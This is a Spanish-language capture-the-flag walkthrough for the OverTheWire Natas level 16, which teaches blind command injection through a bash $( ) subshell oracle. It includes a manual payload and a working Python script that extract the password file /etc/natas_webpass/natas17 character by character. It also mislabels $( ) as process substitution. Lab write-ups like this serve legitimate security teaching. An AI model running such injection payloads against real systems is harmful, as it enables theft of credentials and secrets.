Natas Nivel 16 a 17

Nivel oficial: http://natas16.natas.labs.overthewire.org

Este nivel es un laboratorio legal y autorizado de OverTheWire — nunca apliques estas tecnicas fuera de entornos con permiso explicito. Extiende los retos de inyeccion de comandos de Natas 9/10 con un filtrado de caracteres mas agresivo; la vulnerabilidad persiste pero el canal de respuesta cambia: ya no ves la salida del comando inyectado directamente, solo un efecto secundario binario (aparece o no aparece texto), lo que lo convierte en una inyeccion de comandos ciega.

Objetivo

Extraer la contrasena de natas17 leyendo el archivo /etc/natas_webpass/natas17 mediante un oraculo booleano construido con subshell bash y grep.

Que aprendes

Concepto / ComandoPara que sirve
$(comando) — subshell bashEjecuta un comando y sustituye su salida en el sitio donde esta escrito
grep -E ^<prefijo> <fichero>Comprueba si el contenido empieza por un prefijo concreto
Oraculo booleanoTecnica que extrae informacion bit a bit observando SI/NO en lugar de la salida directa
grep -c / conteo de resultadosDistinguir entre “hay resultado” y “no hay resultado” en la respuesta HTTP
Script Python iterativoAutomatizar la extraccion caracter a caracter

Concepto clave

Inyeccion de comandos ciega como oraculo booleano.

Cuando la aplicacion filtra o no muestra la salida del comando inyectado, aun es posible extraer datos si la respuesta cambia segun una condicion verdadero/falso. El patron es:

  1. El buscador original hace grep <input_usuario> /fichero_diccionario y muestra los resultados.
  2. Dentro del input inyectamos un subshell: $( grep -E ^<prefijo> /etc/natas_webpass/natas17 ).
  3. Si el prefijo es correcto, grep dentro del subshell devuelve la contrasena completa; ese texto se inserta en la palabra de busqueda del grep externo, que casi con certeza no la encontrara en el diccionario → la pagina devuelve cero resultados.
  4. Si el prefijo es incorrecto, el subshell devuelve vacio → la palabra original queda intacta y el grep externo si encuentra resultados normales.

Resultado: la presencia o ausencia de resultados en la pagina revela si el prefijo es correcto. Iterando caracter a caracter se extrae la contrasena completa.

Por que no filtra esto: el nivel bloquea ;, |, &, \``, pero **no** bloquea $( )`, que es la sintaxis de subshell de bash en forma de parentesis.

Paso a paso

  1. Autenticarse. Conectarse a natas16 con las credenciales obtenidas en el nivel 15:
# Usuario:    natas16
# Contrasena: <pass_natas16>
# URL:        http://natas16.natas.labs.overthewire.org
  1. Explorar el formulario. La pagina tiene un campo de busqueda; el codigo fuente (disponible via ?source) hace algo similar a:
$key = $_REQUEST["needle"];
// filtra caracteres peligrosos: ; | & ` \ ' "
if(preg_match('/[;|&`\\\'"]/D', $key)) {
    print "Input contains an illegal character!";
} else {
    $out = shell_exec("grep -i " . $key . " /etc/natas_webpass/natas17 /usr/share/dict/words 2>/dev/null");
    // muestra $out
}

Nota: los caracteres exactos filtrados pueden variar; comprueba el codigo fuente del reto en vivo.

  1. Verificar el oraculo manualmente. En el campo de busqueda introduce:
hackers$(grep -E ^a /etc/natas_webpass/natas17)
  • Si la contrasena empieza por a: el subshell devuelve la contrasena, la palabra de busqueda pasa a ser hackers<contrasena>, que no existe en el diccionario → pagina vacia.
  • Si NO empieza por a: subshell devuelve vacio, busca hackers en el diccionario → aparecen resultados.
  1. Automatizar con Python. El siguiente script itera el alfabeto caracter a caracter para construir la contrasena:
import requests
import string
 
# Configuracion
HOST    = "http://natas16.natas.labs.overthewire.org"
USER    = "natas16"
PASSWD  = "<pass_natas16>"
CHARS   = string.ascii_letters + string.digits  # a-z A-Z 0-9
# Palabra del diccionario que SIEMPRE aparece cuando el oraculo falla
CANARY  = "hackers"
 
session = requests.Session()
session.auth = (USER, PASSWD)
 
found = ""
while True:
    advanced = False
    for c in CHARS:
        # Si el prefijo es correcto, el subshell devuelve texto y
        # el canary desaparece de la respuesta
        payload = f"{CANARY}$(grep -E ^{found}{c} /etc/natas_webpass/natas17)"
        r = session.get(HOST, params={"needle": payload})
        if CANARY not in r.text:
            # Oraculo positivo: el caracter es correcto
            found += c
            print(f"[+] Progreso: {found}")
            advanced = True
            break
    if not advanced:
        # Ninguno de los 62 caracteres dio positivo: hemos terminado
        break
 
print(f"\n[*] Contrasena natas17: {found}")

Ejecutar con:

python3 script_natas16.py

El script imprime la contrasena caracter a caracter hasta completarla (normalmente 32 caracteres alfanumericos). Aviso: el payload puede necesitar ajuste fino si el codigo fuente del reto en vivo usa un comando o ruta ligeramente diferente; verifica siempre con ?source antes de lanzar el script.

  1. Recoger la contrasena. Al terminar el script tendremos:
[*] Contrasena natas17: <pass_natas17>

Por que funciona

El filtrado de caracteres elimina los separadores de comandos clasicos (;, |, &) pero deja pasar $( ). Bash interpreta $( ) como una sustitucion de proceso antes de que el comando exterior lo vea, por lo que el shell ejecuta el grep interno y su salida se concatena al argumento del grep externo. La aplicacion nunca muestra esa salida, pero el efecto en los resultados de busqueda actua como canal lateral binario. Extraer 32 caracteres alfanumericos del alfabeto de 62 simbolos requiere como maximo 32 * 62 = 1984 peticiones HTTP, perfectamente manejable en segundos.

Errores comunes

ErrorCausaSolucion
El oraculo siempre dice “positivo” aunque el caracter sea incorrectoLa palabra canary no aparece en el diccionario del servidorCambia el canary por otra palabra del diccionario; verifica con una busqueda manual primero
La pagina bloquea el payload con “illegal character”El nivel filtra $ o ( en alguna varianteRevisa el codigo fuente con ?source; adapta el payload al filtro real
El script extrae un caracter incorrecto y divergeLa contrasena contiene un caracter fuera del conjunto CHARSAmplia CHARS con string.punctuation (si el nivel lo usa)
Demasiadas peticiones bloqueadas por rate-limitEl servidor limita conexiones rapidasAnade time.sleep(0.1) entre peticiones en el bucle

Pasar al siguiente nivel

Conectarse a natas17 con la contrasena extraida:

URL:        http://natas17.natas.labs.overthewire.org
Usuario:    natas17
Contrasena: <pass_natas17>

Conexiones